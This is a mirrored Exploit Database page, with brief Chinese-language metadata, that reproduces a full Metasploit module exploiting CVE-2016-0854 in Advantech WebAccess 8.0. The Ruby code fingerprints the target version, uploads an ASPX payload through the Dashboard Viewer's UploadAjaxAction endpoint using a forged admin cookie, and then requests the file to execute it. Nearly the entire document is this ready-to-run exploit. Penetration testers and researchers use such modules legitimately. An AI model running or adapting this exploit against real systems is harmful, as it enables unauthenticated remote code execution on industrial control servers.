Advantech Webaccess Dashboard Viewer – Arbitrary File Upload (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2016-04-26
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39735/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
  'Description'=> %q{
   This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.
  
   This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
   of Advantech WebAccess. Authentication is not required to exploit this vulnerability.
  
   The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
   the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
   upload arbitrary code (instead of an image) to the server, which will then be executed under the
   high-privilege context of the IIS AppPool.
  },
  'License'=> MSF_LICENSE,
  'Author' => [
  'rgod', # Vulnerability discovery
  'Zhou Yu <504137480[at]qq.com>' # MSF module
  ],
  'References' => [
  [ 'CVE', '2016-0854' ],
  [ 'ZDI', '16-128' ],
  [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
  ],
  'Platform'=> 'win',
  'Targets' => [
  ['Advantech WebAccess 8.0', {}]
  ],
  'Privileged' => false,
  'DisclosureDate' => "Feb 5 2016",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  Opt::RPORT(80),
  OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
  ], self.class)
  end
  
  def version_match(data)
  # Software Build : 8.0-2015.08.15
  fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
  fingerprint['version'] unless fingerprint.nil?
  end
  
  def vuln_version?
  res = send_request_cgi(
  'method' => 'GET',
  'uri'=> target_uri.to_s
  )
  
  if res.redirect?
  res = send_request_cgi(
  'method' => 'GET',
  'uri'=> normalize_uri(res.redirection)
  )
  end
  
  ver = res && res.body ? version_match(res.body) : nil
  true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
  end
  
  def check
  if vuln_version?
  Exploit::CheckCode::Appears
  else
  Exploit::CheckCode::Safe
  end
  end
  
  def upload_file?(filename, file)
  uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
  
  data = Rex::MIME::Message.new
  data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
  data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
  
  res = send_request_cgi(
  'method'=> 'POST',
  'uri' => uri,
  'cookie'=> "waUserName=admin",
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data'=> data.to_s
  )
  true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
  end
  
  def exec_file?(filename)
  uri = normalize_uri(target_uri)
  res = send_request_cgi(
  'method'=> 'GET',
  'uri' => uri
  )
  
  uri = normalize_uri(target_uri, 'WADashboard', filename)
  res = send_request_cgi(
  'method' => 'GET',
  'uri'=> uri,
  'cookie' => res.get_cookies
  )
  true ? res && res.code == 200 : false
  end
  
  def exploit
  unless vuln_version?
  print_status("#{peer} - Cannot reliably check exploitability.")
  return
  end
  filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
  filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)
  
  print_status("#{peer} - Uploading malicious file...")
  return unless upload_file?(filename, filedata)
  
  print_status("#{peer} - Executing #{filename}...")
  return unless exec_file?(filename)
  end
  end